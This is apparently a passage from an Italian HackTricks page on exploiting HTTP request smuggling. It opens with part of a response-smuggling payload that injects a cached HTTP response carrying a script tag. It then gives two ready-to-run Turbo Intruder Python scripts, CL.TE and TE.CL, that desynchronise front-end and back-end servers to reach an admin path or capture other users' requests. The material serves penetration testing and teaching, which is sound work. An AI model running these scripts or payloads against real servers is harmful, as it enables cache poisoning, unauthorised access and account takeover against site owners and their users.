Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Sfruttare HTTP Request Smuggling tramite HTTP Response Desynchronisation

Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come exploit it. Prova questi altri metodi di exploitation:

HTTP Response Smuggling / Desync

Altre tecniche di HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Da https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Da: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Strumenti

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks